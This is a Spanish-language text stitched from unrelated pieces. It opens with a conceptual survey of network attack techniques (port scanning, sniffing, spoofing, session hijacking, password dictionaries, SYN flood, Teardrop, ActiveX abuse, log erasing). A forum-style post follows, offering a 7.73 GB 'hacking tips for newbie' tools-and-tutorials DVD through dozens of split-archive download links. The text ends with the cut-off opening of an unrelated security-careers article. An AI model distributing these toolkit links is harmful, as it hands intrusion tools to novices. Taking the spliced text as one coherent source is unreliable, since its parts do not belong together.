Cuando las aplicaciones conectadas terminan la transferencia, realizaran otra negociación a tres bandas con segmentos FIN en vez SYN.

La técnica TCP SYN Scanning, se implementa un scaneo de “media-apertura”, dado que nunca se abre una sesión TCP completa. Se envía un paquete SYN (como si se fuera a usar una conexión real) y se espera por la respuesta. Al recibir un SYN/ACK se envía, inmediatamente, un RST para terminar la conexión y se registra este puerto como abierto.

La principal ventaja de esta técnica de escaneo es que pocos sitios están preparados para registrarlos. La desventaja es que en algunos sistemas Unix, se necesitan privilegios de Administrador para construir estos paquetes SYN.

TCP FIN Scanning- Stealth Port Scanning

Hay veces en que incluso el scaneo SYN no es lo suficientemente “clandestino” o limpio. Algunos sistemas (Firewalls y filtros de paquetes) monitorizan la red en busca de paquetes SYN a puertos restringidos. Para subsanar este inconveniente los paquetes FIN, en cambio, podrían ser capaces de pasar sin ser advertidos. Este tipo de Scaneo está basado en la idea de que los puertos cerrados tienden a responder a los paquetes FIN con el RST correspondiente. Los puertos abiertos, en cambio, suelen ignorar el paquete en cuestión.

Este es un comportamiento correcto del protocolo TCP, aunque algunos sistemas (entre los que se hallan los de Microsoft(r)) no cumplen con este requerimiento, enviando paquetes RST siempre, independientemente de si el puerto está abierto o cerrado. Como resultado, no son vulnerables a este tipo de scaneo. Sin embargo, es posible realizarlo en otros sistemas Unix.

Este último es un ejemplo en el que se puede apreciar que algunas vulnerabilidades se presentan en las aplicación de tecnologías (en este caso el protocolo TCP nacido en los años ´70) y no sobre sus implementaciones. Es más, se observa que una implementación incorrecta (la de Microsoft(r)) soluciona el problema. “Muchos de los problemas globales de vulnerabilidades son inherentes al disño original de algunos protocolos”.

Fragmentation Scanning

Esta no es una nueva técnica de scaneo como tal, sino una modificación de las anteriores. En lugar de enviar paquetes completos de sondeo, los mismos se particionan en un par de pequeños fragmentos IP. Así, se logra partir una cabecera IP en distintos paquetes para hacerlo más difícil de monitorizar por los filtros que pudieran estar ejecutándose en la máquina objetivo.

Sin embargo, algunas implementaciones de estas técnicas tienen problemas con la gestión de este tipo de paquetes tan pequeños, causando una caída de rendimiento en el sistema del intruso o en el de la víctima. Problemas de esta índole convierte en detectables a este tipo de ataque.

Eavesdropping-Packet Sniffing

Muchas redes son vulnerables al Eavesdropping, o a la pasiva intercepción (sin modificación) del tráfico de red. Esto se realiza con Packet Sniffers, los cuales son programas que monitorean los paquetes que circulan por la red. Los Sniffers pueden ser colocado tanto en una estación de trabajo conectada a la red, como a un equipo Router o a un Gateway de Internet, y esto puede ser realizado por un usuario con legítimo acceso, o por un intruso que ha ingresado por otras vías.

En la cabecera de los paquetes enviados a través de una red, entre otros datos, se tiene, la dirección del emisor y la del destinatario. De esta forma, independientemente de protocolo usado, las tramas llegan a su destino. Cada maquina conectada a la red (mediante una placa con una dirección única) verifica la dirección destino del paquete. Si estas direcciones son iguales asume que el paquete enviado es para ella, caso contrario libera el paquete para que otras placas lo analicen.

Un Sniffers consiste en colocar a la placa de red en un modo llamado promiscuo, el cual desactiva el filtro de verificación de direcciones y por lo tanto todos los paquetes enviados a la red llegan a esta placa (computadora donde está instalado el Sniffer).Inicialmente este tipo de software, era únicamente utilizado por los Administradores de redes locales, aunque con el tiempo llegó a convertirse en una herramienta muy usada por los intrusos.

Actualmente existen Sniffers para capturar cualquier tipo de información específica. Por ejemplo passwords de un recurso compartido o de acceso a una cuenta, que generalmente viajan sin encriptar al ingresar a sistemas de acceso remoto. También son utilizados para capturar números de tarjetas de crédito y direcciones de e-mails entrantes y salientes. El análisis de tráfico puede ser utilizado también para determinar relaciones entre organizaciones e individuos.Para realizar estas funciones se analizan las tramas de un segmento de red, y presentan al usuario sólo las que interesan.

Normalmente, los buenos Sniffers, no se pueden detectar, aunque la inmensa mayoría, y debido a que están demasiado relacionados con el protocolo TCP/IP, si pueden ser detectados con algunos trucos.

Snooping-Downloading

Los ataques de esta categoría tienen el mismo objetivo que el Sniffing: obtener la información sin modificarla.

Sin embargo los métodos son diferentes. Aquí, además de interceptar el tráfico de red, el atacante ingresa a los documentos, mensajes de correo electrónico y otra información guardada, realizando en la mayoría de los casos un downloading (copia de documentos) de esa información a su propia computadora, para luego hacer un análisis exhaustivo de la misma.

El Snooping puede ser realizado por simple curiosidad, pero también es realizado con fines de espionaje y robo de información o software. Los casos mas resonantes de este tipo de ataques fueron: el robo de un archivo con mas de 1700 números de tarjetas de crédito desde una compañía de música mundialmente famosa, y la difusión ilegal de reportes oficiales reservados de las Naciones Unidas, acerca de la violación de derechos humanos en algunos países europeos en estado de guerra.

ATAQUES DE AUTENTIFICACIÓN

Este tipo de ataque tiene como objetivo engañar al sistema de la víctima para ingresar al mismo. Generalmente este engaño se realiza tomando las sesiones ya establecidas por la víctima u obteniendo su nombre de usuario y password.

Spoofing-Looping

Spoofing puede traducirse como “hacerse pasar por otro” y el objetivo de esta técnica, justamente, es actuar en nombre de otros usuarios, usualmente para realizar tareas de Snooping o Tampering (ver a continuación Ataques de Modificación y Daño). Una forma común de Spoofing es conseguir el nombre y password de un usuario legítimo para, una vez ingresado al sistema, tomar acciones en nombre de él.

El intruso usualmente utiliza un sistema para obtener información e ingresar en otro, y luego utiliza este para entrar en otro, y así sucesivamente. Este proceso, llamado Looping, y tiene la finalidad de “evaporar” la identificación y la ubicación del atacante.

El camino tomado desde el origen hasta el destino puede tener muchas estaciones, que exceden obviamente los límites de un país. Otra consecuencia del Looping es que una compañía o gobierno pueden suponer que están siendo atacados por un competidor o una agencia de gobierno extranjera, cuando en realidad están seguramente siendo atacado por un Insider, o por un estudiante a miles de Km de distancia, pero que ha tomado la identidad de otros.

La investigación de procedencia de un Looping es casi imposible, ya que el investigador debe contar con la colaboración de cada Administrador de cada red utilizada en la ruta. El envío de falsos e-mails es otra forma de Spoofing que las redes permiten. Aquí el atacante envía E-Mails a nombre de otra persona con cualquier motivo y objetivo. Tal fue el caso de una universidad en EE.UU. que en 1998, que debió reprogramar una fecha completa de exámenes ya que alguien en nombre de la secretaría había cancelado la fecha verdadera y enviado el mensaje a toda la nómina de estudiantes.

Muchos ataques de este tipo comienzan con Ingeniería Social y los usuarios, por falta de cultura, facilitan a extraños sus identificaciones dentro del sistema usualmente través de una simple llamada telefónica.

Spoofing

Este tipo de ataques (sobre protolocos) suele implicar un buen conocimiento del protocolo en el que se va a basar el ataque. Los ataques tipo Spoofing bastante conocidos son el IP Spoofing, el DNS Spoofing y el Web Spoofing IP Spoofing

Con el IP Spoofing, el atacante genera paquetes de Internet con una dirección de red falsa en el campo From, pero que es aceptada por el destinatario del paquete. Su utilización más común es enviar los paquetes con la dirección de un tercero, de forma que la víctima “ve” un ataque proveniente de esa tercera red, y no la dirección real del intruso. El esquema con dos puentes es el siguiente:

Nótese que si la Victima descubre el ataque verá a la PC 3 como su atacante y no el verdadero origen. Este ataque se hizo famoso al usarlo Kevin Mitnick (ver Anexo II).

DNS Spoofing

Este ataque se consigue mediante la manipulación de paquetes UDP pudiéndose comprometer el servidor de nombres de dominios (Domain Name Server-DNS) de Windows NT(c). Si se permite el método de recursión en la resolución de “Nombre”Dirección IP” en el DNS, es posible controlar algunos aspectos del DNS remoto. La recursión consiste en la capacidad de un servidor de nombres para resolver una petición de dirección IP a partir de un nombre que no figura en su base de datos. Este es el método típico (y por defecto) de funcionamiento.

Web Spoofing

En el caso Web Spoofing el atacante crea un sitio web completo (falso) similar al que la víctima desea entrar. Los accesos a este sitio están dirigidos por el atacante, permitiéndole monitorizar todas las acciones de la víctima, desde sus datos hasta las passwords, números de tarjeta de créditos, etc. El atacante también es libre de modificar cualquier dato que se esté transmitiendo entre el servidor original y la víctima o viceversa.

IP Splicing-Hijacking

Se produce cuando un atacante consigue interceptar una sesión ya establecida. El atacante espera a que la victima se identifique ante el sistema y tras ello le suplanta como usuario autorizado.

Utilización de BackDoors

“Las puertas traseras son trozos de código en un programa que permiten a quien las conoce saltarse los métodos usuales de autentificación para realizar ciertas tareas. Habitualmente son insertados por los programadores del sistema para agilizar la tarea de probar código durante la fase de desarrollo”.

Esta situación se convierte en una falla de seguridad si se mantiene, involuntaria o intencionalmente, una vez terminado el producto ya que cualquiera que conozca el agujero o lo encuentre en su código podrá saltarse los mecanismos de control normales.

Utilización de Exploits

Es muy frecuente ingresar a un sistema explotando agujeros en los algoritmos de encriptación utilizados, en la administración de las claves por parte la empresa, o simplemente encontrado un error en los programas utilizados.

Los programas para explotar estos “agujeros” reciben el nombre de Exploits y lo que realizan es aprovechar la debilidad, fallo o error hallado en el sistema (hardware o software) para ingresar al mismo. Nuevos Exploits (explotando nuevos errores en los sistemas) se publican cada día por lo que mantenerse informado de los mismos y de las herramientas para combatirlos es de vital importancia.

Obtención de Passwords

Este método comprende la obtención por “Fuerza Bruta” de aquellas claves que permiten ingresar a los sistemas, aplicaciones, cuentas, etc. atacados. Muchas passwords de acceso son obtenidas fácilmente porque involucran el nombre u otro dato familiar del usuario y, además, esta nunca (o rara vez) se cambia. En esta caso el ataque se simplifica e involucra algún tiempo de prueba y error. Otras veces se realizan ataques sistemáticos (incluso con varias computadoras a la vez) con la ayuda de programas especiales y “diccionarios” que prueban millones de posibles claves hasta encontrar la password correcta. La política de administración de password será discutida en capítulos posteriores.

Uso de Diccionarios

Los Diccionarios son archivos con millones de palabras, las cuales pueden ser passwords utilizadas por los usuarios. Este archivo es utilizado para descubrir dicha password en pruebas de fuerza bruta. El programa encargado de probar cada una de las palabras encripta cada una de ellas (mediante el algoritmo utilizado por el sistema atacado) y compara la palabra encriptada contra el archivo de passwords del sistema atacado (previamente obtenido). Si coinciden se ha encontrado la clave de acceso al sistema mediante el usuario correspondiente a la clave hallada. Actualmente es posible encontrar diccionarios de gran tamaño orientados, incluso, a un área específico de acuerdo al tipo de organización que se este atacando.

En la siguiente tabla podemos observar el tiempo de búsqueda de una clave de acuerdo a su longitud y tipo de caracteres utilizados. La velocidad de búsqueda se supone en 100.000 passwords por segundo (este número suele ser mucho mayor dependiendo del programa utilizado). Aquí puede observarse la importancia e la utilización de passwords con 8 caracteres de longitud (al menos) y con todos los caracteres disponibles.

DENIAL OF SERVICE (DOS)

Los protocolos existentes actualmente fueron diseñados para ser empleados en una comunidad abierta y con una relación de confianza mutua. La realidad indica que es más fácil desorganizar el funcionamiento de un sistema que acceder al mismo; así los ataques de Negación de Servicio tienen como objetivo saturar los recursos de la víctima de forma tal que se inhabilita los servicios brindados por la misma.

Jamming o Flooding

Este tipo de ataques desactivan o saturan los recursos del sistema. Por ejemplo, un atacante puede consumir toda la memoria o espacio en disco disponible, así como enviar tanto tráfico a la red que nadie más pueda utilizarla.

Aquí el atacante satura el sistema con mensajes que requieren establecer conexión. Sin embargo, en vez de proveer la dirección IP del emisor, el mensaje contiene falsas direcciones IP (usando Spoofing y Looping). El sistema responde al mensaje, pero como no recibe respuesta, acumula buffers con información de las conexiones abiertas, no dejando lugar a las conexiones legítimas. Muchos ISPs (proveedores de Internet) han sufrido bajas temporales del servicio por ataques que explotan el protocolo TCP. Muchos Hosts de Internet han sido dados de baja por el “ping de la muerte” (una versión-trampa del comando ping). Mientras que el ping normal simplemente verifica si un sistema esta enlazado a la red, el ping de la muerte causa el bloqueo instantáneo del equipo. Esta vulnerabilidad ha sido ampliamente utilizada en el pasado pero, aún hoy pueden encontrarse sistemas vulnerables. Otra acción común es la de enviar millares de e-mails sin sentido a todos los usuarios posibles en forma continua, saturando los sistemas destinos.

Syn Flood

Como ya se explicó en el TCP SYN Scanning el protocolo TCP se basa en una conexión en tres pasos. Si el paso final no llega a establecerse, la conexión permanece en un estado denominado “semiabierto”. El Syn Flood es el más famoso de los ataques del tipo Denial of Service, publicado por primera vez en la revista Phrack. Se basa en un “saludo” incompleto entre los dos hosts. El Cliente envía un paquete SYN pero no responde al paquete ACK ocasionando que la pila TCP/IP espere cierta cantidad de tiempo a que el host hostil responda antes de cerrar la conexión. Si se crean muchas peticiones incompletas de conexión (no se responde a ninguna), el Servidor estará inactivo mucho tiempo esperando respuesta. Esto ocasiona la lentitud en los demás servicios.

El problema es que muchos sistemas operativos tienen un límite muy bajo en el número de conexiones “semiabiertas” que pueden manejar en un momento determinado. Si se supera ese límite, el servidor sencillamente dejará de responder a las nuevas peticiones de conexión que le vayan llegando. Las conexiones “semiabiertas” van caducando tras un tiempo, liberando “huecos” para nuevas conexiones, pero mientras el atacante mantenga el Syn Flood, la probabilidad de que una conexión recién liberada sea capturada por un nuevo SYN malicioso es muy alta.

La potencia de este ataque reside en que muchos sistemas operativos fijan un límite del orden de 5 a 30 conexiones “semiabiertas”, y que éstas caducan alcabo de un par de minutos. Para mantener el servidor fuera de servicio, un atacante sólo necesita enviar un paquete SYN cada 4 segundos (algo al alcance de, incluso, un módem de 300 baudios). Este ataque suele combinarse también con el IP Spoofing, de forma de ocultar el origen del ataque.

Connection Flood

La mayoría de las empresas que brindan servicios de Internet (ISP) tienen un límite máximo en el número de conexiones simultaneas. Una vez que se alcanza ese límite, no se admitirán conexiones nuevas. Así, por ejemplo, un servidor Web puede tener, por ejemplo, capacidad para atender a mil usuarios simultáneos. Si un atacante establece mil conexiones y no realiza ninguna petición sobre ellas, monopolizará la capacidad del servidor. Las conexiones van caducando por inactividad poco a poco, pero el atacante sólo necesita intentar nuevas conexiones, (como ocurre con el caso del Syn Flood) para mantener fuera de servicio el servidor.

Net Flood

En estos casos, la red víctima no puede hacer nada. Aunque filtre el tráfico en sus sistemas, sus líneas estarán saturadas con tráfico malicioso, incapacitándolas para cursar tráfico útil. Un ejemplo habitual es el de un teléfono: si alguien quiere molestar, sólo tiene que llamar, de forma continua. Si se descuelga el teléfono (para que deje de molestar), tampoco se puede recibir llamadas de otras personas. Este problema es habitual, por ejemplo, cuando alguien intenta mandar un fax empleando el número de voz: el fax insiste durante horas y sin que el usuario llamado pueda hacer nada al respecto.

En el caso de Net Flooding ocurre algo similar. El atacante envía tantos paquetes de solicitud de conexión que las conexiones auténticas simplemente no pueden competir. En casos así el primer paso a realizar es el ponerse en contacto con el Proveedor del servicio para que intente determinar la fuente del ataque y, como medida provisional, filtre el ataque en su extremo de la línea. El siguiente paso consiste en localizar las fuentes del ataque e informar a sus Administradores, ya que seguramente se estarán usando sus recursos sin su conocimiento y consentimiento. Si el atacante emplea Ip Spoofing, esto puede ser casi imposible, ya que en muchos casos la fuente del ataque es, a su vez, víctima y el origen último puede ser prácticamente imposible de determinar.

Land Attack

Este ataque consiste en un Bug (error) en la implementación de la pila TCP/IP de las plataformas Windows(c). El ataque consiste en mandar a algún puerto abierto de un servidor (generalmente al 113 o al 139) un paquete, maliciosamente construido, con la dirección y puerto origen igual que la dirección y puerto destino. Por ejemplo se envían un mensaje desde la dirección 10.0.0.1:139 hacia ella misma. El resultado obtenido es que luego de cierta cantidad de mensajes enviados-recibidos la máquina termina colgándose.

Existen ciertas variantes a este método consistente, por ejemplo, en enviar el mensaje a una dirección específica sin especificar el puerto Smurf o Broadcast Storm. Este ataque es bastante simple y a su vez devastador. Consiste en recolectar una serie de direcciones para a continuación mandar una petición ICMP (simulando un Ping) a cada una de ellas en serie, varias veces, falsificando la dirección IP de origen. Este paquete maliciosamente manipulado, será repetido en Broadcast, y cientos ó miles de hosts (según la lista de direcciones de Broadcast disponible) mandarán una respuesta a la víctimacuya dirección IP figura en el paquete ICMP.

Supernuke o Winnuke

Un ataque característico (y quizás el más común) de los equipos con Windows(c) es el Nuke, que hace que los equipos que escuchan por el puerto UDP 137 a 139 (utilizados por los protocolos Netbios de Wins), queden fuera de servicio (o disminuyan su rendimientos) al enviarle paquetes UDP manipulados. Generalmente se envían fragmentos de paquetes, que la máquina víctima detecta como inválidos pasando a un estado inestable.

Teardrop I y II-Newtear-Bonk-Boink

Al igual que el Supernuke, los ataques Teardrop I y Teardrop II afectan a fragmentos de paquetes. Algunas implementaciones de colas IP no vuelven a armar correctamente los fragmentos que se superponen, haciendo que el sistema se cuelgue. Windows NT(c) 4.0 de Microsoft(r) es especialmente vulnerable a este ataque. Aunque existen Patchs (parches) que pueden aplicarse para solucionar el problema, muchas organizaciones no lo hacen, y las consecuencias pueden devastadoras.

Los ataque tipo Teardrop son especialmente peligrosos ya que existen multitud de implementaciones (algunas de ellas forman paquetes), que explotan esta debilidad. Las más conocidas son aquellas con el nombre Newtear, Bonk y Boink.

E-Mail Bombing-Spamming

El E-Mail Bombing consiste en enviar muchas veces un mensaje idéntico a una misma dirección, saturando así mailbox del destinatario.El Spamming, en cambio se refiere a enviar el e-mail miles de usuarios, hayan estos solicitados el mensaje o no. Es muy utilizado por las empresas para publicitar sus productos. El Spamming esta siendo actualmente tratado por las leyes europeas como una violación de los derechos de privacidad del usuario.

ATAQUES DE MODIFICACIÓN-DAÑO

Tampering o Data Diddling

Esta categoría se refiere a la modificación desautorizada de los datos o el software instalado en el sistema víctima (incluyendo borrado de archivos). Son particularmente serios cuando el que lo realiza ha obtenido derechos de Administrador o Supervisor, con la capacidad de disparar cualquier comando y por ende alterar o borrar cualquier información que puede incluso terminar en la baja total del sistema. Aún así, si no hubo intenciones de “bajar” el sistema por parte del atacante; el Administrador posiblemente necesite darlo de baja por horas o días hasta chequear y tratar de recuperar aquella información que ha sido alterada o borrada. Como siempre, esto puede ser realizado por Insiders o Outsiders, generalmente con el propósito de fraude o de dejar fuera de servicio a un competidor.

Son innumerables los casos de este tipo: empleados (o externos) bancarios que crean falsas cuentas para derivar fondos de otras cuentas, estudiantes que modifican calificaciones de exámenes, o contribuyentes que pagan para que se les anule una deuda impositiva. Múltiples Web Sites han sido víctimas del cambio en sus páginas por imágenes (o manifiestos) terroristas o humorísticos, como el ataque de The Mentor, ya visto, a la NASA. Otras veces se reemplazan versiones de software por otros con el mismo nombre pero que incorporan código malicioso (virus, troyanos, etc.). La utilización de programas troyanos y difusión de virus esta dentro de esta categoría, y se profundizará sobre el tema en otra sección el presente capítulo.

Borrado de Huellas

El borrado de huellas es una de las tareas mas importantes que debe realizar el intruso después de ingresar en un sistema, ya que si se detecta su ingreso el Administrador buscará como conseguir “tapar el hueco” de seguridad, evitar ataques futuros e incluso rastrear al atacante. Las Huellas son todas las tareas que realizó el intruso en el sistema y por lo general son almacenadas en Logs (archivo que guarda la información de lo que se realiza en el sistema) por el sistema operativo. Los archivos Logs son una de la principales herramientas (y el principal enemigo del atacante) con las que cuenta un Administrador para conocer los detalles de las tareas realizadas en el sistema y la detección de intrusos

Ataques Mediante Java Applets

Java es un lenguaje de programación interpretado desarrollado inicialmente por SUN. Su mayor popularidad la merece en su alto grado de seguridad. Los más usados navegadores actuales, implementan Máquinas Virtuales Java (MVJ) para ser capaces de ejecutar programas (Applets) de Java. Estos Applets, al fin y al cabo no son más que código ejecutable y como tal, susceptible de ser manipulado por intrusos. Sin embargo, partiendo del diseño, Java siempre ha pensado en la seguridad del sistema. Las restricciones a las que somete a los Applets son de tal envergadura (imposibilidad de trabajar con ficheros a no ser que el usuario especifique lo contrario, imposibilidad de acceso a zonas de memoria y disco directamente, firma digital, etc.) que es muy difícil lanzar ataques. Sin embargo, existe un grupo de expertos especializados en descubrir fallas de seguridad en las implementaciones de las MVJ.

Ataques Mediante JavaScript y VBScript

JavaScript (de empresa Netscape(r)) y VBScript (de Microsoft(r)) son dos lenguajes usados por los diseñadores de sitios Web evitando el uso de Java. Los programas realizados son interpretados por el navegador. Aunque los fallos son mucho más numerosos en versiones antiguas de JavaScript, se pueden encontrar algunos de los siguientes:

  • Cuando apareció JavaScript, éste permitía el envío de mensajes de correo electrónico sin el reconocimiento del usuario, la lectura del historial de páginas visitadas, la lectura de directorios y de archivos. Estas fueron razón más que suficiente para que cientos de intrusos informáticos se aprovecharan de estas debilidades.
  • El problema más importante apareció en Netscape 2.0 y fue bautizado como “Stuck On Load”. Lo que sucedía es que se podía crear una ventana de 1*1 pixeles, por la cual los intrusos podían seguir extrayendo información sin que el usuario se enterase y aún cuando éste hubiese salido de la página, ya que esta ventana (un simple punto en la pantalla) era imperceptible para el usuario.

Ataques Mediante ActiveX

ActiveX es una de las tecnologías más potentes que ha desarrollado Microsoft(r). Mediante ActiveX es posible reutilizar código, descargar código totalmente funcional de un sitio remoto, etc. Esta tecnología es considerada la respuesta de Microsoft(r) a Java. ActiveX soluciona los problemas de seguridad mediante certificados y firmas digitales. Una Autoridad Certificadora (AC) expende un certificado que acompaña a los controles activos y a una firma digital del programador. Cuando un usuario descarga una página con un control, se le preguntará si confía en la AC que expendió el certificado y/o en el control ActiveX. Si el usuario acepta el control, éste puede pasar a ejecutarse sin ningún tipo de restricciones (sólo las propias que tenga el usuario en el sistema operativo). Es decir, la responsabilidad de la seguridad del sistema se deja en manos del usuario, ya sea este un experto cibernauta consciente de los riesgos que puede acarrear la acción o un perfecto novato en la materia.

Esta última características es el mayor punto débil de los controles ActiveX ya que la mayoría de los usuarios aceptan el certificado sin siquiera leerlo, pudiendo ser esta la fuente de un ataque con un control dañino.

La filosofía ActiveX es que las Autoridades de Certificación se fían de la palabra del programador del control. Es decir, el programador se compromete a firmar un documento que asegura que el control no es nocivo. Evidentemente siempre hay programadores con pocos escrúpulos o con ganas de experimentar. Así, un conocido grupo de hackers alemanes, desarrolló un control ActiveX maligno que modificaba el programa de Gestión Bancaria Personal Quicken95(c) de tal manera que si un usuario aceptaba el control, éste realizaba la tarea que supuestamente tenía que hacer y además modificaba el Quicken, para que la próxima vez que la víctima se conectara a su banco, se iniciara automáticamente una transferencia a una cuenta del grupo alemán.

Otro control ActiveX muy especialmente “malévolo” es aquel que manipula el código de ciertos exploradores, para que éste no solicite confirmación al usuario a la hora de descargar otro control activo de la Web. Es decir, deja totalmente descubierto a ataques con tecnología ActiveX el sistema de la víctima. La autentificación de usuarios mediante Certificados y las Autoridades Certificadoras será abordada con profundidad en capítulos posteriores.

Ataques por Vulnerabilidades en los Navegadores

Generalmente los navegadores no fallan por fallos intrínsecos, sino que fallan las tecnologías que implementan, aunque en este punto analizaremos realmente fallos intrínsecos de los navegadores, como pueden ser los “Buffer Overflow”. Los “Buffer Overflows” consisten en explotar una debilidad relacionada con los buffers que la aplicación usa para almacenar las entradas de usuario. Por ejemplo, cuando el usuario escribe una dirección en formato URL ésta se guarda en un buffer para luego procesarla. Si no se realizan las oportunas operaciones de comprobación, un usuario podría manipular estas direcciones.

Los protocolo usado pueden ser HTTP, pero también otros menos conocidos, internos de cada explorador, como el “res:” o el “mk:”. Precisamente existen fallos de seguridad del tipo “Buffer Overflow” en la implementación de estos dos protocolos. Para poder lanzar este tipo de ataques hay que tener un buen conocimiento de lenguaje Assembler y de la estructura interna de la memoria del Sistema Operativo utilizado. También se puede citar el fallo de seguridad descubierto por Cybersnot Industries(r) relativo a los ficheros “.lnk” y “.url”de Windows 95(c) y NT(c) respectivamente. Algunas versiones de Microsoft Internet Explorer(c) podían ser utilizadas para ejecutar la aplicación que se deseara siempre que existiera en el ordenador de la víctima (por ejemplo el tan conocido y temido format.com).

Para más información relacionada con los ataques intrínsecos a los navegadores, se aconsejan las páginas no oficiales de seguridad tanto en Internet Explorer(c) como en Netscape Communicator(c).

EXPLOTACIÓN DE ERRORES DE DISEÑO, IMPLEMENTACIÓN Y OPERACIÓN

Muchos sistemas están expuestos a “agujeros” de seguridad que son explotados para acceder a archivos, obtener privilegios o realizar sabotaje. Estas vulnerabilidades ocurren por variadas razones, y miles de “puertas invisibles” son descubiertas (cada día) en sistemas operativos, aplicaciones de software, protocolos de red, browsers de Internet, correo electrónico y todas clase de servicios informático disponible.

Los Sistemas operativos abiertos (como Unix y Linux) tienen agujeros mas conocidos y controlados que aquellos que existen en sistemas operativos cerrados (como Windows(c)). La importancia (y ventaja) del código abierto radica en miles de usuarios analizan dicho código en busca de posibles bugs y ayudan a obtener soluciones en forma inmediata.

Constantemente encontramos en Internet avisos de nuevos descubrimientos de problemas de seguridad (y herramientas de Hacking que los explotan), por lo que hoy también se hace indispensable contar con productos que conocen esas debilidades, puedan diagnosticarlas y actualizar el programa afectado con el parche adecuado.


DVD Tools and Tutorial Hacking (2011) | 7.73 GB
This DVD is a combination of applications, specialized in hacking tips for newbie 2011. (En Ruso)

Download from filesonic.com

Código:
http://www.filesonic.com/file/557070844/DVDHACK.part01.rar
http://www.filesonic.com/file/557070204/DVDHACK.part02.rar
http://www.filesonic.com/file/557107654/DVDHACK.part03.rar
http://www.filesonic.com/file/557107784/DVDHACK.part04.rar
http://www.filesonic.com/file/557191614/DVDHACK.part05.rar
http://www.filesonic.com/file/557202494/DVDHACK.part06.rar
http://www.filesonic.com/file/557223614/DVDHACK.part07.rar
http://www.filesonic.com/file/557220334/DVDHACK.part08.rar
http://www.filesonic.com/file/557249564/DVDHACK.part09.rar
http://www.filesonic.com/file/557250514/DVDHACK.part10.rar
http://www.filesonic.com/file/557269144/DVDHACK.part11.rar
http://www.filesonic.com/file/557274054/DVDHACK.part12.rar
http://www.filesonic.com/file/557312454/DVDHACK.part13.rar
http://www.filesonic.com/file/557312004/DVDHACK.part14.rar
http://www.filesonic.com/file/557331204/DVDHACK.part15.rar
http://www.filesonic.com/file/557327854/DVDHACK.part16.rar
http://www.filesonic.com/file/557431894/DVDHACK.part17.rar
http://www.filesonic.com/file/557327994/DVDHACK.part18.rar

Download from fileserve.com

Código:
http://www.fileserve.com/file/JmU9YPa/DVDHACK.part01.rar
http://www.fileserve.com/file/SqUGUSu/DVDHACK.part02.rar
http://www.fileserve.com/file/3wbAQC2/DVDHACK.part03.rar
http://www.fileserve.com/file/eFw5r7V/DVDHACK.part04.rar
http://www.fileserve.com/file/bac7F8Q/DVDHACK.part05.rar
http://www.fileserve.com/file/FMf4vhc/DVDHACK.part06.rar
http://www.fileserve.com/file/nVc4AGh/DVDHACK.part07.rar
http://www.fileserve.com/file/bsmgxP5/DVDHACK.part08.rar
http://www.fileserve.com/file/cwHNxT6/DVDHACK.part09.rar
http://www.fileserve.com/file/RBhBGuj/DVDHACK.part10.rar
http://www.fileserve.com/file/Ex2mnnB/DVDHACK.part11.rar
http://www.fileserve.com/file/knmXfrf/DVDHACK.part12.rar
http://www.fileserve.com/file/A2EWE7J/DVDHACK.part13.rar
http://www.fileserve.com/file/aARNXCR/DVDHACK.part14.rar
http://www.fileserve.com/file/xT4nhBk/DVDHACK.part15.rar
http://www.fileserve.com/file/9V9wy4v/DVDHACK.part16.rar
http://www.fileserve.com/file/YHqcu23/DVDHACK.part17.rar
http://www.fileserve.com/file/8KXBUJW/DVDHACK.part18.rar

Download from uploadstation.com

Código:
http://www.uploadstation.com/file/VKbxfta/DVDHACK.part01.rar
http://www.uploadstation.com/file/JmduUyr/DVDHACK.part02.rar
http://www.uploadstation.com/file/vBNvJFY/DVDHACK.part03.rar
http://www.uploadstation.com/file/sz8wuhr/DVDHACK.part04.rar
http://www.uploadstation.com/file/sX3HjHq/DVDHACK.part05.rar
http://www.uploadstation.com/file/MkQg4Bw/DVDHACK.part06.rar
http://www.uploadstation.com/file/jp8QTVF/DVDHACK.part07.rar
http://www.uploadstation.com/file/75MP57n/DVDHACK.part08.rar
http://www.uploadstation.com/file/XKQtCBs/DVDHACK.part09.rar
http://www.uploadstation.com/file/DjJUDes/DVDHACK.part10.rar
http://www.uploadstation.com/file/Mx5aY2G/DVDHACK.part11.rar
http://www.uploadstation.com/file/ZQ5Ctb5/DVDHACK.part12.rar
http://www.uploadstation.com/file/55mCckd/DVDHACK.part13.rar
http://www.uploadstation.com/file/Uk8pVn7/DVDHACK.part14.rar
http://www.uploadstation.com/file/rh94g6J/DVDHACK.part15.rar
http://www.uploadstation.com/file/uJnbRqN/DVDHACK.part16.rar
http://www.uploadstation.com/file/9BtTByR/DVDHACK.part17.rar
http://www.uploadstation.com/file/MBw5bMp/DVDHACK.part18.rar

Download from bitshare.com

Código:
http://bitshare.com/files/p5796t2g/DVDHACK.part01.rar.html
http://bitshare.com/files/x1xupoqe/DVDHACK.part02.rar.html
http://bitshare.com/files/h8rkr4te/DVDHACK.part03.rar.html
http://bitshare.com/files/ipl2ycc8/DVDHACK.part04.rar.html
http://bitshare.com/files/hfoo50rj/DVDHACK.part05.rar.html
http://bitshare.com/files/sh4he62r/DVDHACK.part06.rar.html
http://bitshare.com/files/lnk7ptd0/DVDHACK.part07.rar.html
http://bitshare.com/files/2g3z4lf8/DVDHACK.part08.rar.html
http://bitshare.com/files/qpcyjh0y/DVDHACK.part09.rar.html
http://bitshare.com/files/26ag4fzy/DVDHACK.part10.rar.html
http://bitshare.com/files/fyo38m3b/DVDHACK.part11.rar.html
http://bitshare.com/files/ld3js0su/DVDHACK.part12.rar.html
http://bitshare.com/files/2qdaqag5/DVDHACK.part13.rar.html
http://bitshare.com/files/iz60aakr/DVDHACK.part14.rar.html
http://bitshare.com/files/lghnwji6/DVDHACK.part15.rar.html
http://bitshare.com/files/8ew4duln/DVDHACK.part16.rar.html
http://bitshare.com/files/ct8oyjyk/DVDHACK.part17.rar.html
http://bitshare.com/files/4u34u5d4/DVDHACK.part18.rar.html

En otras ocasiones, ya hemos dado nuestras recomendaciones, sobre qué formación complementaria tener en cuenta o dónde suscribirse para buscar trabajo, a aquellos que estén especializándose en la rama de seguridad en el mundo de la informática.

Nos suelen llegar bastantes correos de muchos de nuestros lectores que están estudiando una carrera o módulo relacionado con la Informática, en los que nos piden orientación sobre cómo y por dónde orientar su futuro laboral. También para el resto de los lectores, que dispongan de un trabajo ahora mismo pero que tengan pensado barajar otras opciones (pese a la que está cayendo), queremos contaros en este artículo a qué tipo de puestos podemos optar, o qué tipo de trabajo podemos realizar para ganarnos las habichuelas, si ya hemos tirado por la rama de la seguridad y no queremos reciclarnos en otro sector.


Según mi experiencia, he hecho la siguiente clasificación, según el tipo de empresa u organización que nos encontremos:

